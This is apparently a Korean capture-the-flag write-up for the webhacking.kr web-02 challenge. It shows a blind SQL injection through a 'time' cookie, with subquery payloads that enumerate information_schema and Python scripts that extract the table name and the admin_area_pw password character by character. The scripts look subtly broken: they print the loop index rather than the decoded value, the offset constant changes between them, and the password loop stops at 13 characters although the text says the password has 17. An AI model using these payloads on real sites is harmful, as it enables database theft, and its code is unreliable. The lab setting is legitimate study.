문제분석 & 풀이
클라이언트 IP 주소를 기록 중이라고 한다.
개발자도구(F12)로 코드를 확인해보자.
접속시간이 기록됐고 admin.php에 대한 언급이 있다.
admin.php에 접속하면, pw를 입력할 수 있는 구성이다.
admin의 pw를 입력하면 되는 것 같다.
코드를 다시 보면, 상단부에 접속한 시간이 새로 갱신이 되지 않는 것을 확인할 수 있었다.
새로고침을 해봐도 갱신되지 않는다.
이 점이 이상하게 느껴져서 쿠키를 확인했다.
"time" 이라는 쿠키가 존재했고 접속한 시간을 의미하는 것을 알 수 있다.
"time" 쿠키값을 1로 변경하고 갱신된 시간을 확인했다.
갱신된 시간을 확인해보니 시간이 이상하게 나오면서 끝이 1인 것을 확인할 수 있다.
2,3,4,..등 값을 바꿔가면서 시간을 갱신해보면, 위와 같이 끝자리만 변경한 값으로 바뀌는 것을 확인할 수 있다.
만약, "time" 쿠키를 이용해서 sql injection이 트리거 된다면 위와 같은 방법으로 데이터베이스에 있는 pw를 1자리씩 가져올 수 있다.
sql injection이 가능한지 알아보기 위해 "time" 쿠키 값으로
(select 30), (select 50)
를 전송했다.
(select 30) 와 같이 ()를 붙인 이유는
select * from [table] where time=${time}
처럼 SQL 쿼리가 작성됐다면, time을 이용해서 임의의 sql 쿼리를 실행하기 위해서는 서브쿼리 형태로 입력해야되기 때문이다.
만약, sql injection이 가능하다면 시간을 갱신했을 때 끝자리가 30, 50이 나올 것이다.
직접 sql injection을 진행해보면 30, 50이 나오는 것을 확인할 수 있었다.
즉, "time" 쿠키를 이용해서 sql injection를 할 수 있다는 것이 증명됐다.
본격적으로 pw를 구해보자.
pw를 구하기 위한 시나리오는 다음과 같다.
1) 테이블의 갯수를 구한다.
2) 테이블들의 이름을 알아낸다.
3) 테이블의 속성을 알아낸다.
4) 속성명과 테이블명을 이용하여 pw를 알아낸다.
(select count(*) from information_schema.tables where table_schema=database())
DB 메타데이터에 접근해서 table 갯수가 몇 개 존재하는지 확인했고 2개가 나왔다.
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
length()를 이용해서 테이블 이름의 길이를 모두 알아냈다.
각각 13자리, 3자리가 나왔다.
from requests import *
s = session()
url = "https://webhacking.kr/challenge/web-02/"
result = []
t = 0
for i in range(1, 14):
cookies = {"time":f"(select ascii(substring(table_name, {i}, 1)) from information_schema.tables where table_schema = database() limit 0, 1)"}
response = get(url=url, cookies=cookies)
result.append(response.text[19:24])
for i in range(0, 13):
if result[i][1] == '1':
t = 50
t += int(result[i][3:5])
print(chr(i), end="")
t = 0
print("")
substring(), ascii() 를 이용해서 13자리 테이블 이름을 출력했고 admin_area_pw가 나왔다.
admin.php의 input 태그의 name="pw" 인 것을 통해 속성 이름이 pw라고 때려맞췄다.
(select length(pw) from admin_area_pw)
테이블 이름은 "admin_area_pw" , 속성명은 "pw" 인것을 알아냈고 이를 이용해서 pw 길이를 알아냈다. (17자리)
from requests import *
s = session()
url = "https://webhacking.kr/challenge/web-02/"
result = []
t = 0
for i in range(1, 14):
cookies = {"time":f"(select ascii(substring(pw, {i}, 1)) from admin_area_pw)"}
response = get(url=url, cookies=cookies)
result.append(response.text[19:24])
for i in range(0, 13):
if result[i][1] == '1':
t = 60
t += int(result[i][3:5])
print(chr(i), end="")
t = 0
print("")
pw 길이를 알아냈으니 이를 이용하여 pw를 알아내자.
테이블 이름을 구할 때와 마찬가지로 ascii(), substring()을 이용했다.
마지막으로 admin.php에 접속해서 pw를 입력했다.